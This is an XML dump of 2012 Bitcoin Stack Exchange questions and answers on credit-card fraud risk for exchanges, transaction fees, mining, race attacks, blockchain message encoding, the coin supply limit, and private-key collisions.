  <row Id="3953" PostTypeId="2" ParentId="3952" CreationDate="2012-06-13T23:10:44.800" Score="18" Body="&lt;p&gt;&lt;strong&gt;It's because bitcoin transactions are final, and exchange margins are low.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Businesses selling something for download can afford to be hit by fraud without incurring any real loss (other than potentially an opportunity cost, but even that is likely to be minimal as fraudsters would be unlikely to pay even if they couldn't defraud). ie margins are high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when bitcoins are purchased with a credit card, it's more similar to a physical cash withdrawal from a credit card. Once physical cash or bitcoins are handed over the transaction is final. The party that hands over the cash or bitcoins has a lot to lose if the credit card transaction is reversed. They can't get their cash or bitcoins back. Fees charged for performing an exchange are low, so can't cover the cost of fraud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other types of businesses that sell physical goods online and ship them are probably careful to ensure they have validated identification or a physical address so that they have something to pursue in case of fraud. In some cases, the cost of the physical goods may be low enough that some risk of fraud is acceptable.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-06-13T23:16:53.360" LastActivityDate="2012-06-13T23:16:53.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3954" PostTypeId="2" ParentId="3952" CreationDate="2012-06-13T23:43:51.177" Score="26" Body="&lt;p&gt;Bitcoin strongly enforces two concepts - high anonymity and no chargebacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of high anonymity, it is nearly impossible to be 100% certain who you are sending Bitcoins to. In the end, the Bitcoin address is just an arbitrary string of characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of no chargebacks, once you send someone Bitcoins, they are irreversibly theirs (assuming no double-spends and no 51% attack). You can't later recall the money you sent this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When someone would buy Bitcoins with a credit card, they could wait until the coins appear in their wallet, and then claim that their credit card was stolen used by someone else to purchase Bitcoins without their intent. They could get away with their chargeback claims, as it would be impossible for the seller to prove that they sold the coins legitimately to the person. Moreover, the seller wouldn't be able to get their Bitcons back due to &quot;no chargebacks&quot; rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What makes it different from services like iTunes and the like, is that the value of the Bitcoins is close to how much it costs the seller to aquire and sell them, whereas iTunes' costs are marginal. For example, buying a 1$ song from iTunes would mean that they have to probably spend less than a penny processing everything and providing you content (logging transaction, letting you download the song, etc), whereas if you send 1$ in Bitcoins, you are sending about 1$ worth of goods. When iTunes gets charged back, they lose a penny and can still sell the song any amount of times. When a Bitcoin seller gets charged back, they lose a dollar and can't sell the same coins again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins can't be copied and distributed to multiple people at marginal cost, that's what makes chargebacks so costly for any potential sellers.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="575" LastEditDate="2012-06-14T13:57:28.647" LastActivityDate="2012-06-14T13:57:28.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3955" PostTypeId="2" ParentId="3405" CreationDate="2012-06-14T01:11:04.307" Score="4" Body="&lt;p&gt;From what I have read about Bitcoin transaction confirmation (aka mining), a transaction may not be included in a block for any reason, but the most common is that the fee is too low for the size of the transaction. A higher fee increases the chance that the transaction will be included in a block by a miner. A transaction with no fee may eventually be confirmed, but it could take a long time to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certain transactions cannot be included in a block because they violate the Bitcoin protocol and will be discarded. Among others, these are transactions that attempt to spend more Bitcoin than is in an account and tranactions that try to double spend an accound balance. Transactions that depend on other transactions that have not been confirmed yet and are retained until either it is dropped because it would violate the Bitcoin protocol, or it is added to a confirmed transaction block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(source: &lt;a href=&quot;https://www.rugatu.com/questions/42/why-do-some-transactions-take-months-to-get-into-a-block&quot; rel=&quot;nofollow&quot;&gt;https://www.rugatu.com/questions/42/why-do-some-transactions-take-months-to-get-into-a-block&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1470" LastActivityDate="2012-06-14T01:11:04.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3956" PostTypeId="5" CreationDate="2012-06-14T08:08:23.260" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-06-14T08:08:23.260" LastActivityDate="2012-06-14T08:08:23.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3957" PostTypeId="4" CreationDate="2012-06-14T08:08:23.260" Score="0" Body="Bitcoin clients that perform a reduced amount of processing or need a reduced amount of data compared with the Bitcoin Core client." OwnerUserId="516" LastEditorUserId="1580" LastEditDate="2016-06-07T13:06:51.227" LastActivityDate="2016-06-07T13:06:51.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3958" PostTypeId="2" ParentId="3941" CreationDate="2012-06-14T13:49:56.833" Score="5" Body="&lt;p&gt;No, because there's no progress in mining blocks. If you've mined for 5 minutes and didn't find a block, you aren't any closer to finding it than when you started - the &lt;a href=&quot;http://en.wikipedia.org/wiki/Failure_rate#Failure_rate_in_the_continuous_sense&quot; rel=&quot;noreferrer&quot;&gt;hazard function&lt;/a&gt; is constant.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-06-14T13:49:56.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3959" PostTypeId="2" ParentId="3952" CreationDate="2012-06-14T14:12:07.667" Score="8" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoins are liquid. Everybody wants bitcoins, and as many as they can get - if not for some immediate use, then to sell them for other currencies which are of immediate use. Even someone who doesn't need or believe in Bitcoin can still steal them. Thus a Bitcoin CC trader will attract all the fraudsters in the world. A site like RPGNow will attract only those fraudsters interested in RPGs, who are a minority among people interested in RPGs - and even they won't bother to steal a few $10's worth of games.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin is traded on thin margins (which is also a result of being liquid). This has two implications. One, that every fraud incident is much more painful. Two, that legitimate customers will be looking for ways to buy bitcoins without paying the high CC fees - meaning that fraudsters are an even higher percentage of the traffic. Any attempt to increase fees to compensate for losses from fraud will just drive out the good customers, and keep the thieves who don't care how much fees they &quot;pay&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin payments are irreversible. With at least some of the other vendors, the vendor has some control over the platform with which his product is used. If he receives a chargeback he may have the power to revoke the usage of what he sold.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-06-15T07:43:31.300" LastActivityDate="2012-06-15T07:43:31.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3960" PostTypeId="2" ParentId="3907" CreationDate="2012-06-15T01:40:31.877" Score="1" Body="&lt;p&gt;Further to @ripper234's comment &quot;he can show you a fake BlockExplorer.info clone on his computer that lists the transaction as &quot;confirmed&quot;, even though he never broadcast it. &quot;, it's also a possibility that any other &lt;strong&gt;software or websites viewed on someone's computer might be faked&lt;/strong&gt;. This could include the Bitcoin Client itself (even if it looks like it's working). This is a risk for Traveller A for the situation described in the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, &lt;strong&gt;assume that any details entered into someone's device are being logged&lt;/strong&gt;, so don't enter passwords or personal details that you don't want to share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Traveller A really needs to have some kind device of their own they can use to confirm that the transaction is genuine.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-06-15T01:40:31.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3961" PostTypeId="1" AcceptedAnswerId="3962" CreationDate="2012-06-15T03:39:00.530" Score="7" ViewCount="428" Body="&lt;p&gt;A successful race attack is one where the payment recipient's node receives a spend transaction yet the next block that is mined has a different transaction that spends the same coin.  Thus the payment recipient's transaction will not confirm and the recipient never receives the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an explicit attack to double spend.  The recommended protection is to not accept payment on 0/unconfirmed if there is no recourse (e.g., an anonymous buyer who makes off with the item traded before the double spend can be detected.)  For some types of businesses (e.g., retail, low-value goods purchased in-person, face-to-face), the risk is acceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recommendation for the merchant is to disable listening on the client (using -nolisten) and to explicitly connect to a well connected node (using -connect= ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does a merchant know which nodes are well-connected.  Because pool mining solves over half the blocks, ideally the well-connected node is one that reaches these pools first, so that if a transaction is relayed by the well-connected node then the odds are it will end up being the transaction mined by a pool even if there was an attempted double-spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any nodes that are known to be good for relaying transactions to the pools, and thus preventing a race attack from being successful?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="516" LastEditDate="2012-06-15T04:01:21.407" LastActivityDate="2012-09-28T14:42:09.753" Title="What nodes are best for lessening the risk of loss from a race attack" Tags="|attack|zero-confirmation|merchants|race-attack|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3962" PostTypeId="2" ParentId="3961" CreationDate="2012-06-15T08:54:51.073" Score="3" Body="&lt;p&gt;It would be recommended to connect directly to most of the major pools. This way one doesn't need to rely on any other nodes to relay the informations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you should note that the conflicting transaction could already be pre-mined, rendering such precautions useless.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-15T08:54:51.073" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3964" PostTypeId="2" ParentId="3576" CreationDate="2012-06-15T17:46:56.057" Score="3" Body="&lt;p&gt;Press inquiries to me really picked up after &lt;a href=&quot;http://www.forbes.com/forbes/2011/0509/technology-psilocybin-bitcoins-gavin-andresen-crypto-currency.html&quot; rel=&quot;nofollow&quot;&gt;the Forbes article&lt;/a&gt; came out in the print edition of that magazine. I think that &quot;mainstream press&quot; mention started the publicity avalanche that fueled the bubble, although I'm a pattern-matching monkey like everybody else so take my opinion with a big grain of salt.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-06-15T17:46:56.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3966" PostTypeId="1" CreationDate="2012-06-16T16:49:09.770" Score="2" ViewCount="3425" Body="&lt;p&gt;I'm a merchant, and I'm looking for a complementary method of payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I exchange bitcoins for my local currency?&lt;/p&gt;&#xA;" OwnerUserId="1477" LastEditorUserId="516" LastEditDate="2012-06-23T01:19:30.933" LastActivityDate="2017-05-08T08:47:49.823" Title="How to convert my bitcoins to another currency" Tags="|exchanges|payment|retail|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3967" PostTypeId="2" ParentId="3966" CreationDate="2012-06-16T18:02:59.130" Score="1" Body="&lt;p&gt;Bitcoins can be sold for other currencies at Bitcoin exchanges and exchange services. There are many exchanges all over the world (listed &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade#Currency_exchanges&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;), but the largest exchange with the greatest depth is &lt;a href=&quot;https://mtgox.com&quot; rel=&quot;nofollow&quot;&gt;Mt. Gox&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use a merchant services provider such as &lt;a href=&quot;https://bit-pay.com/&quot; rel=&quot;nofollow&quot;&gt;Bit-Pay&lt;/a&gt; which will automatically handle for you both receiving Bitcoin payments and immediately converting them to other currencies.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-06-16T18:02:59.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3968" PostTypeId="1" AcceptedAnswerId="4349" CreationDate="2012-06-16T23:57:13.827" Score="13" ViewCount="711" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Powered_Database&quot;&gt;https://en.bitcoin.it/wiki/Bitcoin-Powered_Database&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far I know, the Bitcoin blockchain is pretty much the only data structure that is both global and tamper-proof.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;global&lt;/strong&gt; - There is one global instance of the blockchain (up to forks ... which are then resolved).&#xA;&lt;strong&gt;tamper-proof&lt;/strong&gt; - If a block enters the blockchain, after 6+ confirmations this block can't feasibly be faked or altered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Bitcoin-powered database would be an API over the blockchain, that would expose a subset of the usual &lt;a href=&quot;http://en.wikipedia.org/wiki/Crud&quot;&gt;CRUD&lt;/a&gt; database operations. In fact, it would be an append-only data structure, because nothing can ever be really deleted from the blockchain - so only CREATE and READ operations will be implemented. Object Versioning will be used to emulate updates and deletions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have there been previous attempts to create such a database? I have seen the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=53062.0&quot;&gt;MerkleWeb&lt;/a&gt; proposal, but I haven't really understood it, so I'm not sure if it answers my question.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="659" LastEditDate="2012-06-17T08:03:52.623" LastActivityDate="2012-08-04T10:28:08.367" Title="Have there been attempts at a Bitcoin-powered general purpose database?" Tags="|blockchain|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3969" PostTypeId="1" CreationDate="2012-06-17T01:04:54.150" Score="3" ViewCount="1420" Body="&lt;p&gt;There are several &quot;reasonable&quot; modifications to the Bitcoin protocol that would make some methods of encoding messages break (e.g. pruning).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are any of the existing encoding methods future proof, in the sense that they are likely to continue functioning even after &quot;reasonable&quot; changes to the Bitcoin protocol?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-06-25T18:40:04.440" Title="Is there a future-proof method of encoding messages in the blockchain?" Tags="|blockchain|future-proof|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3970" PostTypeId="1" CreationDate="2012-06-17T03:10:39.143" Score="9" ViewCount="1280" Body="&lt;p&gt;Often times when I explain to someone that there is a limited supply of bitcoins available that need to be divided across all the people who want to have bitcoins, the people who are computer illiterate will ask how I know that the number of bitcoins in circulation can not be changed or manipulated. They usually just get a glossed over look on their face when I start talking about decentralized protocols. Has anyone come up with a good way of phrasing it or an good analogy to get people to understand how these limits are determined, enforced, and protected?&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="516" LastEditDate="2012-10-01T20:49:09.997" LastActivityDate="2014-05-24T08:08:59.917" Title="What is a simple explanation for how the number of bitcoins in circulation is determined?" Tags="|protocol|economic-theory|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3971" PostTypeId="2" ParentId="3970" CreationDate="2012-06-17T03:49:49.920" Score="-2" Body="&lt;p&gt;Don't use any big words like &quot;decentralized&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just say something like 'The system is designed so that roughly every 10 minutes 50 new bitcoins are generated'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then again, most people I dare to discuss bitcoin with are techies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could always try the mining gold analogy.&lt;/p&gt;&#xA;" OwnerUserId="1483" LastActivityDate="2012-06-17T03:49:49.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3972" PostTypeId="2" ParentId="3970" CreationDate="2012-06-17T04:01:43.040" Score="9" Body="&lt;p&gt;You could explain the coin limit like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Bitcoin started, its creator set a rule - &quot;No more than 21 million Bitcoins will ever be created, and they will be given out gradually for creating blocks&quot; (Add further explanation of block reward or proof-of-work here if needed). Everyone who joined Bitcoin knew about this rule, and they were all for it. As everyone can see all the money created by solving the blocks, everyone can check if someone tried to go against the rule and cheat. If cheating is detected, nobody will accept the solution, instead looking for one that follows the rule. Because everyone is checking everything, nobody can cheat and create more Bitcoins than is allowed.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-17T04:01:43.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3973" PostTypeId="2" ParentId="3969" CreationDate="2012-06-17T04:11:02.827" Score="1" Body="&lt;p&gt;Bitcoin headers are probably never going to be changed much, so you can try encoding messages there. You only have limited space in Merkle Root (with partial hashing collisions) and Nonce, so you won't be able to encode much there. You could try encoding something in the hash of the block, but that would make it very expensive (storing n bits would mean creating about 2^n blocks before a message would be encoded).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you believe the coin generation transactions would not be pruned, you could try using them for encoding your messages, which would be quite cheap if you mine your own blocks, or have someone that would let you encode some messages in their blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, there aren't that many places that could be safe from potential pruning. Then again, some people will probably be keeping the entire block chain, so message encoding in the traditional way might not ever go away...&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-17T04:11:02.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3974" PostTypeId="2" ParentId="3969" CreationDate="2012-06-17T04:21:39.350" Score="3" Body="&lt;p&gt;With pruning as envisioned today, only spent outputs are pruned. By making a small transaction and never spending it, you can keep the encoded data intact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future it may be that unspent outputs will still be pruned if they're old and low-value, for example as suggested &lt;a href=&quot;https://bitcointalk.org/index.php?topic=80435.0&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, in which case you can still extend the life of your message by putting it in an unspent transaction with a high enough value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the encoding is in the receiving address itself, this will also resist modifications such as forced consolidation of outputs - but if you want to also be able to salvage the committed coins, the message should be short and the address should be generated with a vanity address generator.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-06-25T18:40:04.440" LastActivityDate="2012-06-25T18:40:04.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3975" PostTypeId="2" ParentId="2161" CreationDate="2012-06-17T17:51:27.087" Score="5" Body="&lt;p&gt;And Blockchain.info has added Facebook &quot;pay a friend&quot; feature.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.Blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://www.Blockchain.info&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another method -- for requesting funds is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitcoinchipin.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinchipin.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another thread on this topic:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/v51nz/newb_here_i_have_a_couple_of_websites_and_want_to/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/v51nz/newb_here_i_have_a_couple_of_websites_and_want_to/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="41598" LastEditDate="2016-09-22T07:23:38.880" LastActivityDate="2016-09-22T07:23:38.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3978" PostTypeId="2" ParentId="3970" CreationDate="2012-06-17T21:33:36.700" Score="3" Body="&lt;p&gt;How about this.  Think of the mining process as being like a variation of the game Bingo.  Let's call this variation proof-of-work (POW) Bingo.  POW Bingo is almost a reverse of how Bingo is normally played.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say that for each game of this reverse Bingo, a dozen numbers are dropped from the drum of numbers and all twelve numbers are shown all at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then there are many tables in the Bingo hall, each with a huge pile of Bingo cards on it.  There is one table used per Bingo game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when a game starts each person playing grabs a card from the pile and looks to see if the card contains a winning Bingo.  If it doesn't, the player tosses the card aside and grabs another card.  This is the &quot;work&quot; being performed ... searching for a winning Bingo card.  There is likely more than one card in the pile that would win the Bingo game, but the race is on to be the first player to find a winning card for that game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The player who does find a winning card yells BINGO, notarizes the batch of transactions in the bitcoin ledger (which have been accumulating since the beginning of the game), and asserts ownership of the prize (currently a 25 BTC reward).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All players then want to move on to another table to start playing the next Bingo game but knowing which table to go to is something pre-determined by the ID of the winning card at the game that just had the winning Bingo.  There's a chance the player claiming to have a winning card had lied or was otherwise mistaken so each player will first want to confirm the validity of the card that supposedly is a winner.  The checks performed are that the card truly does have a Bingo (based on the numbers that dropped from the drum), that the prize claimed is no more than the amount allowed to be claim for that particular game, and that each transaction in the batch of transactions is valid (funds had not previously been spent in prior batches).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that all pans out then at a later time the player who called the Bingo is allowed to spend the bitcoin reward earned from that game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After verifying the winning Bingo card each player then knows which table of cards to move on to next.  At that next table is another drum of numbers.  That drum too now has its twelve numbers dropped so the next game of this reverse Bingo can start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After each Bingo game is completed one result is that there exists a trail going from the current table back to the previous table, and from there back to that game's previous table and so on all the way back to the very first Bingo game that was played.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is this chain of games that were played, each dependent on the results (discovery of a winning card) of the prior game.  The current Bingo game always occurs at the &quot;tip&quot; of the chain, and that chain's length will include each table along the path back to the very first Bingo game played.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible in a game for there to be more than one person to have a valid winning card.  When that happens there are multiple calls of &quot;Bingo&quot; and these could be yelled out at about the same time.  This introduces a conflict because there ultimately needs to be only one winner per game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The approach to solving this conflict occurs in a unique way.  When there are two Bingos that are each valid for the same game, some players will move on to the next table pointed to by one of the winning cards while other players will move on to a different table as that was the table pointed to by the other winning card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus in that instance the path for the chain of successive games will appear to have an end with a split.  This is referred to as a fork.  Some amount of work (players looking for winning cards) will occur on one side of the fork and some other amount of work will occur on the other side of the fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually a Bingo will be called on one of these sides or the other and the conflict is resolved as whichever side is the first with a winning Bingo ends up  being the side which extends the path for the chain further.  The rule observed by all players is to recognize the chain's path which includes the most number of tables as the path to follow.  If a player finds that some other path (generally the other side of the current fork) becomes longer (i.e., has a higher number of successive Bingo games in the chain) then the player abandons the current path and joins the others at the game table at the tip of the path that has the longest chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the most part, this longest chain will be the one in which the most work (sorting through Bingo cards) is performed.  Luck can be the reason why one side of a fork happened to win even though it had fewer players than the other but overall the longest path ends up being the link of games in which the most amount of work had been performed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because there is money that is earned from the per-game award, word gets out and more people will arrive at the Bingo hall to help sift through the cards.  As a result of a growing number of players (and thus, more work being performed) it starts taking less and less time with each game before a winning card is found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To counter this, periodically the quantity of Bingo numbers that are dropped from the drum is decreased, from say a dozen numbers to just eleven numbers.  This decrease makes it more difficult to find a winning card because it generally takes more work to find a winning Bingo card from the table's pile when only eleven numbers are dropped versus the the amount of work needed when there were twelve numbers dropped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It really doesn't matter which set of numbers are dropped, because for each round, nobody has an advantage -- everyone has equal access to sift through each table's pile of Bingo cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result is that no matter how many people are sifting through the piles, roughly the same number of Bingo games are held each day (targeted to 144 games per day, with one game occurring every 10 minutes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach is what ensures that there is no cheating that would cause a significantly greater reward to be issued and why more miners arriving won't cause currency inflation (i.e., a higher production of the per-game award).&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-08-29T01:31:50.747" LastActivityDate="2013-08-29T01:31:50.747" CommentCount="0" CommunityOwnedDate="2013-08-18T19:08:04.130" ContentLicense="CC BY-SA 3.0" />
  <row Id="3980" PostTypeId="1" AcceptedAnswerId="4021" CreationDate="2012-06-18T01:44:15.870" Score="5" ViewCount="337" Body="&lt;p&gt;An article entitled &quot;&lt;a href=&quot;http://www.forbes.com/sites/jonmatonis/2012/06/13/why-apple-is-afraid-of-bitcoin/&quot;&gt;Why Apple is Afraid of Bitcoin&lt;/a&gt;&quot; discusses Apple's interest in online payments. It also talks about the removal of 2 Bitcoin apps, Blockchain Wallet and BitPak, from the appstore.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The explanation given by Apple was that “apps must comply with all&#xA;  legal requirements in any location where they are made available to&#xA;  users.” Apple further stated, “it is the developer’s obligation to&#xA;  understand and conform to all local laws” and the developer was&#xA;  referred to the legal department for an exact explanation of which law&#xA;  it violates. Clearly, they will not be able to cite a law as no laws&#xA;  prohibiting bitcoin currently exist in any jurisdiction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Though the author of the article claims that no laws prohibit Bitcoin, Apple obviously disagrees but was &lt;a href=&quot;https://bitcointalk.org/index.php?topic=84669.0&quot;&gt;very unhelpful&lt;/a&gt; in explaining which law it might be referring to. Has Apple discussed its stance regarding legality of apps using Bitcoin or other alternative payment systems?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="5406" LastEditDate="2022-09-05T22:43:53.277" LastActivityDate="2022-09-05T22:43:53.277" Title="Has Apple stated its view on legality of apps using alternative electronic payment systems?" Tags="|legal|blockchain-wallet-app|ios|appstore|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3981" PostTypeId="1" AcceptedAnswerId="3982" CreationDate="2012-06-18T03:17:14.263" Score="10" ViewCount="2616" Body="&lt;p&gt;There is a very very low chance for the same private key to be generated. (&lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Generating_tons_of_addresses&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what happens when my generated private key matches a private key that is already used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the protocol reject private keys if they are already used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, what kind of &lt;em&gt;damage&lt;/em&gt; will be done?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="516" LastEditDate="2012-06-18T03:34:38.230" LastActivityDate="2012-06-18T11:18:50.907" Title="Does the protocol ensures that private keys are unique?" Tags="|protocol|attack|private-key|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3982" PostTypeId="2" ParentId="3981" CreationDate="2012-06-18T03:31:06.970" Score="11" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However, what happens when my generated private key matches a private key that is already used?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then you got lucky, and can spend someone else's coins.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does the protocol reject private keys if they are already used?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, how should it? Keys can be used more than once in normal operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, it is &lt;em&gt;extremely&lt;/em&gt; unlikely that this ever happens. See also these two &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3679/has-someone-compared-the-cost-of-mining-vs-that-of-brute-forcing-addresses&quot;&gt;related&lt;/a&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22/is-it-possible-to-brute-force-bitcoin-address-creation-in-order-to-steal-money&quot;&gt;questions&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2012-06-18T03:31:06.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
